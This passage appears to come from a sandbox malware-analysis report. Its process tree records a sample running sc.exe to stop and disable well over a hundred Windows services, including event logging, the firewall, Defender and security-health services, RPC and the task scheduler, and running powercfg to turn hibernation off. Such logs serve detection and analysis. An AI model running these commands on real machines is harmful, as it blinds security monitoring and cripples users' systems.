      Suspicious behavior: EnumeratesProcesses
      PID:3956
  - - C:\Windows\system32\sc.exe
      "sc" config DusmSvc start= disabled
      4⤵
      PID:3264
  - - C:\Windows\system32\sc.exe
      "sc" config EapHost start= disabled
      4⤵
      PID:5972
  - - C:\Windows\system32\sc.exe
      "sc" config DsSvc start= disabled
      4⤵
      PID:3996
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdatem start= disabled
      4⤵
      PID:3936
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdate start= disabled
      4⤵
      PID:5252
  - - C:\Windows\system32\sc.exe
      "sc" stop embeddedmode
      4⤵
      PID:3552
  - - C:\Windows\system32\sc.exe
      "sc" stop EntAppSvc
      4⤵
      PID:508
  - - C:\Windows\system32\sc.exe
      "sc" config EFS start= disabled
      4⤵
      PID:3948
  - - C:\Windows\system32\sc.exe
      "sc" stop EventLog
      4⤵
      PID:4768
  - - C:\Windows\system32\sc.exe
      "sc" stop EventSystem
      4⤵
      PID:1996
  - - C:\Windows\system32\sc.exe
      "sc" stop fdPHost
      4⤵
      PID:2284
  - - C:\Windows\system32\sc.exe
      "sc" config embeddedmode start= disabled
      4⤵
      PID:4524
  - - C:\Windows\system32\sc.exe
      "sc" stop FDResPub
      4⤵
      PID:1336
  - - C:\Windows\system32\sc.exe
      "sc" stop fhsvc
      4⤵
      PID:3432
  - - C:\Windows\system32\sc.exe
      "sc" config EntAppSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1836
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache
      4⤵
      Launches sc.exe
      PID:5852
  - - C:\Windows\system32\sc.exe
      "sc" config EventSystem start= disabled
      4⤵
      PID:568
  - - C:\Windows\system32\sc.exe
      "sc" config fdPHost start= disabled
      4⤵
      PID:1220
  - - C:\Windows\system32\sc.exe
      "sc" config EventLog start= disabled
      4⤵
      PID:4356
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache3.0.0.0
      4⤵
      PID:2456
  - - C:\Windows\system32\sc.exe
      "sc" config FDResPub start= disabled
      4⤵
      Launches sc.exe
      PID:3500
  - - C:\Windows\system32\sc.exe
      "sc" stop FrameServer
      4⤵
      PID:3524
  - - C:\Windows\system32\sc.exe
      "sc" config fhsvc start= disabled
      4⤵
      Launches sc.exe
      PID:3116
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache start= disabled
      4⤵
      PID:3412
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2128
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      PID:3160
  - - C:\Windows\system32\sc.exe
      "sc" stop FrameServerMonitor
      4⤵
      Launches sc.exe
      PID:3368
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache3.0.0.0 start= disabled
      4⤵
      PID:5420
  - - C:\Windows\system32\sc.exe
      "sc" stop GameInputSvc
      4⤵
      PID:1304
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleChromeElevationService
      4⤵
      PID:3580
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterInternalService141.0.7340.0
      4⤵
      PID:3720
  - - C:\Windows\system32\sc.exe
      "sc" config FrameServer start= disabled
      4⤵
      PID:496
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterService141.0.7340.0
      4⤵
      PID:3544
  - - C:\Windows\system32\sc.exe
      "sc" stop gpsvc
      4⤵
      PID:6008
  - - C:\Windows\system32\sc.exe
      "sc" config GameInputSvc start= disabled
      4⤵
      PID:2172
  - - C:\Windows\system32\sc.exe
      "sc" config FrameServerMonitor start= disabled
      4⤵
      PID:1796
  - - C:\Windows\system32\sc.exe
      "sc" stop GraphicsPerfSvc
      4⤵
      PID:2536
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleChromeElevationService start= disabled
      4⤵
      PID:1840
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterInternalService141.0.7340.0 start= disabled
      4⤵
      PID:4656
  - - C:\Windows\system32\sc.exe
      "sc" stop hidserv
      4⤵
      PID:4100
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterService141.0.7340.0 start= disabled
      4⤵
      PID:3120
  - - C:\Windows\system32\sc.exe
      "sc" config gpsvc start= disabled
      4⤵
      PID:1700
  - - C:\Windows\system32\sc.exe
      "sc" stop HvHost
      4⤵
      PID:5600
  - - C:\Windows\system32\sc.exe
      "sc" config GraphicsPerfSvc start= disabled
      4⤵
      PID:3784
  - - C:\Windows\system32\sc.exe
      "sc" stop icssvc
      4⤵
      PID:1476
  - - C:\Windows\system32\sc.exe
      "sc" stop IKEEXT
      4⤵
      PID:4156
  - - C:\Windows\system32\sc.exe
      "sc" stop InstallService
      4⤵
      PID:2252
  - - C:\Windows\system32\sc.exe
      "sc" config hidserv start= disabled
      4⤵
      PID:688
  - - C:\Windows\system32\sc.exe
      "sc" stop InventorySvc
      4⤵
      PID:4412
  - - C:\Windows\system32\sc.exe
      "sc" stop iphlpsvc
      4⤵
      PID:800
  - - C:\Windows\system32\sc.exe
      "sc" stop IpxlatCfgSvc
      4⤵
      PID:2628
  - - C:\Windows\system32\sc.exe
      "sc" config icssvc start= disabled
      4⤵
      Launches sc.exe
      PID:5892
  - - C:\Windows\system32\sc.exe
      "sc" config HvHost start= disabled
      4⤵
      PID:2824
  - - C:\Windows\system32\sc.exe
      "sc" config IKEEXT start= disabled
      4⤵
      PID:1076
  - - C:\Windows\system32\sc.exe
      "sc" stop KeyIso
      4⤵
      PID:1652
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3048
  - - C:\Windows\system32\sc.exe
      "sc" config InstallService start= disabled
      4⤵
      Launches sc.exe
      PID:5804
  - - C:\Windows\system32\sc.exe
      "sc" config InventorySvc start= disabled
      4⤵
      PID:608
  - - C:\Windows\system32\sc.exe
      "sc" config iphlpsvc start= disabled
      4⤵
      PID:5876
  - - C:\Windows\system32\sc.exe
      "sc" config KeyIso start= disabled
      4⤵
      PID:1424
  - - C:\Windows\system32\sc.exe
      "sc" stop KtmRm
      4⤵
      Launches sc.exe
      PID:3364
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanServer
      4⤵
      PID:5972
  - - C:\Windows\system32\sc.exe
      "sc" config IpxlatCfgSvc start= disabled
      4⤵
      PID:3124
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanWorkstation
      4⤵
      PID:4192
  - - C:\Windows\system32\sc.exe
      "sc" stop lfsvc
      4⤵
      PID:4880
  - - C:\Windows\system32\sc.exe
      "sc" stop LicenseManager
      4⤵
      PID:5960
  - - C:\Windows\system32\sc.exe
      "sc" stop lltdsvc
      4⤵
      PID:2476
  - - C:\Windows\system32\sc.exe
      "sc" stop lmhosts
      4⤵
      PID:5264
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanWorkstation start= disabled
      4⤵
      Launches sc.exe
      PID:1980
  - - C:\Windows\system32\sc.exe
      "sc" stop LocalKdc
      4⤵
      PID:512
  - - C:\Windows\system32\sc.exe
      "sc" config lfsvc start= disabled
      4⤵
      PID:5796
  - - C:\Windows\system32\sc.exe
      "sc" config KtmRm start= disabled
      4⤵
      PID:4432
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanServer start= disabled
      4⤵
      PID:2044
  - - C:\Windows\system32\sc.exe
      "sc" config LicenseManager start= disabled
      4⤵
      PID:8
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1836
  - - C:\Windows\system32\sc.exe
      "sc" config lltdsvc start= disabled
      4⤵
      PID:2348
  - - C:\Windows\system32\sc.exe
      "sc" config lmhosts start= disabled
      4⤵
      PID:3432
  - - C:\Windows\system32\sc.exe
      "sc" stop LSM
      4⤵
      PID:3772
  - - C:\Windows\system32\sc.exe
      "sc" stop LxpSvc
      4⤵
      PID:4668
  - - C:\Windows\system32\sc.exe
      "sc" config LocalKdc start= disabled
      4⤵
      PID:2484
  - - C:\Windows\system32\sc.exe
      "sc" stop MapsBroker
      4⤵
      Launches sc.exe
      PID:5016
  - - C:\Windows\system32\sc.exe
      "sc" stop McpManagementService
      4⤵
      PID:1296
  - - C:\Windows\system32\sc.exe
      "sc" stop MicrosoftEdgeElevationService
      4⤵
      PID:2456
  - - C:\Windows\system32\sc.exe
      "sc" stop MozillaMaintenance
      4⤵
      PID:3512
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5832
  - - C:\Windows\system32\sc.exe
      "sc" stop mpssvc
      4⤵
      PID:5216
  - - C:\Windows\system32\sc.exe
      "sc" config LxpSvc start= disabled
      4⤵
      PID:4028
  - - C:\Windows\system32\sc.exe
      "sc" config LSM start= disabled
      4⤵
      PID:5076
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5848
  - - C:\Windows\system32\sc.exe
      "sc" config McpManagementService start= disabled
      4⤵
      PID:1116
  - - C:\Windows\system32\sc.exe
      "sc" config MapsBroker start= disabled
      4⤵
      PID:1612
  - - C:\Windows\system32\sc.exe
      "sc" stop MSDTC
      4⤵
      PID:3008
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5436
  - - C:\Windows\system32\sc.exe
      "sc" config MicrosoftEdgeElevationService start= disabled
      4⤵
      PID:3012
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3580
  - - C:\Windows\system32\sc.exe
      "sc" config MozillaMaintenance start= disabled
      4⤵
      PID:5516
  - - C:\Windows\system32\sc.exe
      "sc" stop MSiSCSI
      4⤵
      PID:4924
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:496
  - - C:\Windows\system32\sc.exe
      "sc" config mpssvc start= disabled
      4⤵
      PID:2656
  - - C:\Windows\system32\sc.exe
      "sc" stop msiserver
      4⤵
      PID:1844
  - - C:\Windows\system32\sc.exe
      "sc" stop MsKeyboardFilter
      4⤵
      PID:5988
  - - C:\Windows\system32\sc.exe
      "sc" config MSDTC start= disabled
      4⤵
      PID:2100
  - - C:\Windows\system32\sc.exe
      "sc" stop NaturalAuthentication
      4⤵
      PID:1604
  - - C:\Windows\system32\sc.exe
      "sc" stop NcaSvc
      4⤵
      PID:2700
  - - C:\Windows\system32\sc.exe
      "sc" stop NcbService
      4⤵
      Launches sc.exe
      PID:1460
  - - C:\Windows\system32\sc.exe
      "sc" stop NcdAutoSetup
      4⤵
      Launches sc.exe
      PID:1796
  - - C:\Windows\system32\sc.exe
      "sc" config MSiSCSI start= disabled
      4⤵
      Launches sc.exe
      PID:260
  - - C:\Windows\system32\sc.exe
      "sc" stop Netlogon
      4⤵
      PID:2580
  - - C:\Windows\system32\sc.exe
      "sc" config msiserver start= disabled
      4⤵
      PID:3808
  - - C:\Windows\system32\sc.exe
      "sc" config NcaSvc start= disabled
      4⤵
      PID:5880
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1476
  - - C:\Windows\system32\sc.exe
      "sc" config MsKeyboardFilter start= disabled
      4⤵
      PID:108
  - - C:\Windows\system32\sc.exe
      "sc" stop Netman
      4⤵
      PID:3784
  - - C:\Windows\system32\sc.exe
      "sc" config NcbService start= disabled
      4⤵
      PID:1924
  - - C:\Windows\system32\sc.exe
      "sc" config NaturalAuthentication start= disabled
      4⤵
      PID:236
  - - C:\Windows\system32\sc.exe
      "sc" config NcdAutoSetup start= disabled
      4⤵
      PID:4776
  - - C:\Windows\system32\sc.exe
      "sc" config Netlogon start= disabled
      4⤵
      PID:2812
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2252
  - - C:\Windows\system32\sc.exe
      "sc" stop netprofm
      4⤵
      PID:3604
  - - C:\Windows\system32\sc.exe
      "sc" stop NetSetupSvc
      4⤵
      PID:2644
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3648
  - - C:\Windows\system32\sc.exe
      "sc" stop NetTcpPortSharing
      4⤵
      PID:1132
  - - C:\Windows\system32\sc.exe
      "sc" config Netman start= disabled
      4⤵
      PID:460
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2356
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcCtnrSvc
      4⤵
      PID:5408
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcSvc
      4⤵
      PID:5052
  - - C:\Windows\system32\sc.exe
      "sc" stop NlaSvc
      4⤵
      PID:4844
  - - C:\Windows\system32\sc.exe
      "sc" stop nsi
      4⤵
      PID:2616
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1280
  - - C:\Windows\system32\sc.exe
      "sc" config NetSetupSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4000
  - - C:\Windows\system32\sc.exe
      "sc" config NetTcpPortSharing start= disabled
      4⤵
      PID:3968
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1240
  - - C:\Windows\system32\sc.exe
      "sc" stop ose64
      4⤵
      PID:1424
  - - C:\Windows\system32\sc.exe
      "sc" config nsi start= disabled
      4⤵
      Launches sc.exe
      PID:4380
  - - C:\Windows\system32\sc.exe
      "sc" config NlaSvc start= disabled
      4⤵
      PID:3948
  - - C:\Windows\system32\sc.exe
      "sc" config NgcSvc start= disabled
      4⤵
      PID:3972
  - - C:\Windows\system32\sc.exe
      "sc" config NgcCtnrSvc start= disabled
      4⤵
      PID:1704
  - - C:\Windows\system32\sc.exe
      "sc" stop PcaSvc
      4⤵
      PID:3124
  - - C:\Windows\system32\sc.exe
      "sc" stop PeerDistSvc
      4⤵
      PID:5960
  - - C:\Windows\system32\sc.exe
      "sc" config ose64 start= disabled
      4⤵
      PID:3216
  - - C:\Windows\system32\sc.exe
      "sc" stop perceptionsimulation
      4⤵
      PID:3256
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4524
  - - C:\Windows\system32\sc.exe
      "sc" stop PerfHost
      4⤵
      PID:5504
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:508
  - - C:\Windows\system32\sc.exe
      "sc" stop PhoneSvc
      4⤵
      PID:1312
  - - C:\Windows\system32\sc.exe
      "sc" stop pla
      4⤵
      PID:1180
  - - C:\Windows\system32\sc.exe
      "sc" config PcaSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4904
  - - C:\Windows\system32\sc.exe
      "sc" stop PlugPlay
      4⤵
      PID:2032
  - - C:\Windows\system32\sc.exe
      "sc" config PeerDistSvc start= disabled
      4⤵
      PID:3904
  - - C:\Windows\system32\sc.exe
      "sc" config perceptionsimulation start= disabled
      4⤵
      PID:1140
  - - C:\Windows\system32\sc.exe
      "sc" config PerfHost start= disabled
      4⤵
      PID:5680
  - - C:\Windows\system32\sc.exe
      "sc" config pla start= disabled
      4⤵
      PID:3428
  - - C:\Windows\system32\sc.exe
      "sc" config PhoneSvc start= disabled
      4⤵
      PID:4824
  - - C:\Windows\system32\sc.exe
      "sc" stop PolicyAgent
      4⤵
      PID:8
  - - C:\Windows\system32\sc.exe
      "sc" stop Power
      4⤵
      PID:4900
  - - C:\Windows\system32\sc.exe
      "sc" config PlugPlay start= disabled
      4⤵
      PID:692
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintDeviceConfigurationService
      4⤵
      PID:4624
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintNotify
      4⤵
      PID:1296
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintScanBrokerService
      4⤵
      PID:5268
  - - C:\Windows\system32\sc.exe
      "sc" stop ProfSvc
      4⤵
      PID:2484
  - - C:\Windows\system32\sc.exe
      "sc" config Power start= disabled
      4⤵
      PID:4356
  - - C:\Windows\system32\sc.exe
      "sc" config PolicyAgent start= disabled
      4⤵
      PID:1588
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2836
  - - C:\Windows\system32\sc.exe
      "sc" stop PushToInstall
      4⤵
      PID:2464
  - - C:\Windows\system32\sc.exe
      "sc" config PrintDeviceConfigurationService start= disabled
      4⤵
      PID:3116
  - - C:\Windows\system32\sc.exe
      "sc" config PrintNotify start= disabled
      4⤵
      PID:3544
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5076
  - - C:\Windows\system32\sc.exe
      "sc" config PrintScanBrokerService start= disabled
      4⤵
      PID:5420
  - - C:\Windows\system32\sc.exe
      "sc" config ProfSvc start= disabled
      4⤵
      PID:3280
  - - C:\Windows\system32\sc.exe
      "sc" config PushToInstall start= disabled
      4⤵
      PID:5948
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4160
  - - C:\Windows\system32\sc.exe
      "sc" stop QWAVE
      4⤵
      PID:2760
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2992
  - - C:\Windows\system32\sc.exe
      "sc" stop RasAuto
      4⤵
      PID:2952
  - - C:\Windows\system32\sc.exe
      "sc" stop RasMan
      4⤵
      PID:4808
  - - C:\Windows\system32\sc.exe
      "sc" stop refsdedupsvc
      4⤵
      PID:5060
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteAccess
      4⤵
      PID:2100
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteRegistry
      4⤵
      PID:1840
  - - C:\Windows\system32\sc.exe
      "sc" config RasAuto start= disabled
      4⤵
      PID:3272
  - - C:\Windows\system32\sc.exe
      "sc" config QWAVE start= disabled
      4⤵
      PID:4408
  - - C:\Windows\system32\sc.exe
      "sc" stop RetailDemo
      4⤵
      Launches sc.exe
      PID:4780
  - - C:\Windows\system32\sc.exe
      "sc" config RasMan start= disabled
      4⤵
      Launches sc.exe
      PID:1460
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteAccess start= disabled
      4⤵
      PID:4760
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteRegistry start= disabled
      4⤵
      Launches sc.exe
      PID:3472
  - - C:\Windows\system32\sc.exe
      "sc" config refsdedupsvc start= disabled
      4⤵
      PID:560
  - - C:\Windows\system32\sc.exe
      "sc" stop RmSvc
      4⤵
      PID:2968
  - - C:\Windows\system32\sc.exe
      "sc" config RetailDemo start= disabled
      4⤵
      PID:4688
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcEptMapper
      4⤵
      PID:252
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcLocator
      4⤵
      PID:4316
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcSs
      4⤵
      PID:2784
  - - C:\Windows\system32\sc.exe
      "sc" stop SamSs
      4⤵
      PID:2876
  - - C:\Windows\system32\sc.exe
      "sc" stop SCardSvr
      4⤵
      PID:5996
  - - C:\Windows\system32\sc.exe
      "sc" config RpcEptMapper start= disabled
      4⤵
      PID:2572
  - - C:\Windows\system32\sc.exe
      "sc" stop ScDeviceEnum
      4⤵
      PID:3760
  - - C:\Windows\system32\sc.exe
      "sc" config SCardSvr start= disabled
      4⤵
      PID:2844
  - - C:\Windows\system32\sc.exe
      "sc" config RpcSs start= disabled
      4⤵
      PID:4612
  - - C:\Windows\system32\sc.exe
      "sc" config SamSs start= disabled
      4⤵
      PID:4948
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2616
  - - C:\Windows\system32\sc.exe
      "sc" config RpcLocator start= disabled
      4⤵
      PID:4988
  - - C:\Windows\system32\sc.exe
      "sc" stop Schedule
      4⤵
      PID:4876
  - - C:\Windows\system32\sc.exe
      "sc" config ScDeviceEnum start= disabled
      4⤵
      Launches sc.exe
      PID:2996
  - - C:\Windows\system32\sc.exe
      "sc" stop SCPolicySvc
      4⤵
      PID:4000
  - - C:\Windows\system32\sc.exe
      "sc" stop SDRSVC
      4⤵
      PID:1252
  - - C:\Windows\system32\sc.exe
      "sc" stop seclogon
      4⤵
      PID:2896
  - - C:\Windows\system32\sc.exe
      "sc" stop SecurityHealthService
      4⤵
      PID:3948
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3548
  - - C:\Windows\system32\sc.exe
      "sc" config Schedule start= disabled
      4⤵
      PID:2168
  - - C:\Windows\system32\sc.exe
      "sc" stop SEMgrSvc
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" config SDRSVC start= disabled
      4⤵
      PID:3936
  - - C:\Windows\system32\sc.exe
      "sc" config SCPolicySvc start= disabled
      4⤵
      PID:3928
  - - C:\Windows\system32\sc.exe
      "sc" config seclogon start= disabled
      4⤵
      PID:3336
  - - C:\Windows\system32\sc.exe
      "sc" config SecurityHealthService start= disabled
      4⤵
      PID:2064
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5960
  - - C:\Windows\system32\sc.exe
      "sc" stop SENS
      4⤵
      PID:1712
  - - C:\Windows\system32\sc.exe
      "sc" config SEMgrSvc start= disabled
      4⤵
      PID:2140
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      PID:1708
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorDataService
      4⤵
      PID:2436
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorService
      4⤵
      PID:888
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4904
  - - C:\Windows\system32\sc.exe
      "sc" stop SensrSvc
      4⤵
      PID:3904
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      PID:3836
  - - C:\Windows\system32\sc.exe
      "sc" stop SessionEnv
      4⤵
      PID:3360
  - - C:\Windows\system32\sc.exe
      "sc" config SENS start= disabled
      4⤵
      PID:2348
  - - C:\Windows\system32\sc.exe
      "sc" config SensorService start= disabled
      4⤵
      PID:4972
  - - C:\Windows\system32\sc.exe
      "sc" config SensorDataService start= disabled
      4⤵
      PID:3820
  - - C:\Windows\system32\sc.exe
      "sc" stop SgrmBroker
      4⤵
      PID:1400
  - - C:\Windows\system32\sc.exe
      "sc" config SensrSvc start= disabled
      4⤵
      PID:3432
  - - C:\Windows\system32\sc.exe
      "sc" stop SharedAccess
      4⤵
      PID:3044
  - - C:\Windows\system32\sc.exe
      "sc" config SessionEnv start= disabled
      4⤵
      PID:4732
  - - C:\Windows\system32\sc.exe
      "sc" stop ShellHWDetection
      4⤵
      PID:2816
  - - C:\Windows\system32\sc.exe
      "sc" stop shpamsvc
      4⤵
      PID:2888
  - - C:\Windows\system32\sc.exe
      "sc" stop smphost
      4⤵
      PID:4436
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5268
  - - C:\Windows\system32\sc.exe
      "sc" config SgrmBroker start= disabled
      4⤵
      PID:5216
  - - C:\Windows\system32\sc.exe
      "sc" stop SmsRouter
      4⤵
      PID:5424
  - - C:\Windows\system32\sc.exe
      "sc" config ShellHWDetection start= disabled
      4⤵
      PID:4356
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3512
  - - C:\Windows\system32\sc.exe
      "sc" config SharedAccess start= disabled
      4⤵
      PID:5812
  - - C:\Windows\system32\sc.exe
      "sc" config shpamsvc start= disabled
      4⤵
      PID:1496
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4028
  - - C:\Windows\system32\sc.exe
      "sc" stop SNMPTrap
      4⤵
      PID:2236
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5952
  - - C:\Windows\system32\sc.exe
      "sc" config smphost start= disabled
      4⤵
      PID:3596
  - - C:\Windows\system32\sc.exe
      "sc" config SmsRouter start= disabled
      4⤵
      PID:4144
  - - C:\Windows\system32\sc.exe
      "sc" stop Spooler
      4⤵
      PID:1612
  - - C:\Windows\system32\sc.exe
      "sc" stop sppsvc
      4⤵
      PID:2760
  - - C:\Windows\system32\sc.exe
      "sc" stop SSDPSRV
      4⤵
      PID:5328
  - - C:\Windows\system32\sc.exe
      "sc" stop ssh-agent
      4⤵
      Launches sc.exe
      PID:2172
  - - C:\Windows\system32\sc.exe
      "sc" config SNMPTrap start= disabled
      4⤵
      PID:1232
  - - C:\Windows\system32\sc.exe
      "sc" stop SstpSvc
      4⤵
      PID:1820
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4656
  - - C:\Windows\system32\sc.exe
      "sc" config Spooler start= disabled
      4⤵
      PID:5540
  - - C:\Windows\system32\sc.exe
      "sc" config sppsvc start= disabled
      4⤵
      PID:260
  - - C:\Windows\system32\sc.exe
      "sc" stop StateRepository
      4⤵
      PID:2924
  - - C:\Windows\system32\sc.exe
      "sc" config SSDPSRV start= disabled
      4⤵
      PID:1444
  - - C:\Windows\system32\sc.exe
      "sc" config ssh-agent start= disabled
      4⤵
      PID:1084
  - - C:\Windows\system32\sc.exe
      "sc" config SstpSvc start= disabled
      4⤵
      PID:6048
  - - C:\Windows\system32\sc.exe
      "sc" stop StiSvc
      4⤵
      PID:2908
  - - C:\Windows\system32\sc.exe
      "sc" stop StorSvc
      4⤵
      PID:3284
  - - C:\Windows\system32\sc.exe
      "sc" stop svsvc
      4⤵
      PID:5464
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1916
  - - C:\Windows\system32\sc.exe
      "sc" config StateRepository start= disabled
      4⤵
      PID:3568
  - - C:\Windows\system32\sc.exe
      "sc" stop swprv
      4⤵
      Launches sc.exe
      PID:4108
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3452
  - - C:\Windows\system32\sc.exe
      "sc" stop SysMain
      4⤵
      PID:4156
  - - C:\Windows\system32\sc.exe
      "sc" config StorSvc start= disabled
      4⤵
      PID:3744
  - - C:\Windows\system32\sc.exe
      "sc" config StiSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2080
  - - C:\Windows\system32\sc.exe
      "sc" config svsvc start= disabled
      4⤵
      PID:5840
  - - C:\Windows\system32\sc.exe
      "sc" stop SystemEventsBroker
      4⤵
      PID:4024
  - - C:\Windows\system32\sc.exe
      "sc" config SysMain start= disabled
      4⤵
      PID:3184
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6032
  - - C:\Windows\system32\sc.exe
      "sc" config swprv start= disabled
      4⤵
      PID:5308
  - - C:\Windows\system32\sc.exe
      "sc" stop TapiSrv
      4⤵
      Launches sc.exe
      PID:2844
  - - C:\Windows\system32\sc.exe
      "sc" stop TermService
      4⤵
      PID:1792
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5052
  - - C:\Windows\system32\sc.exe
      "sc" stop TextInputManagementService
      4⤵
      PID:2804
  - - C:\Windows\system32\sc.exe
      "sc" stop Themes
      4⤵
      PID:5024
  - - C:\Windows\system32\sc.exe
      "sc" config TapiSrv start= disabled
      4⤵
      PID:1632
  - - C:\Windows\system32\sc.exe
      "sc" stop TieringEngineService
      4⤵
      PID:1252
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3364
  - - C:\Windows\system32\sc.exe
      "sc" config SystemEventsBroker start= disabled
      4⤵
      Launches sc.exe
      PID:5836
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2044
  - - C:\Windows\system32\sc.exe
      "sc" config TermService start= disabled
      4⤵
      PID:2592
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2896
  - - C:\Windows\system32\sc.exe
      "sc" config TieringEngineService start= disabled
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" config Themes start= disabled
      4⤵
      PID:3936
  - - C:\Windows\system32\sc.exe
      "sc" config TextInputManagementService start= disabled
      4⤵
      PID:2168
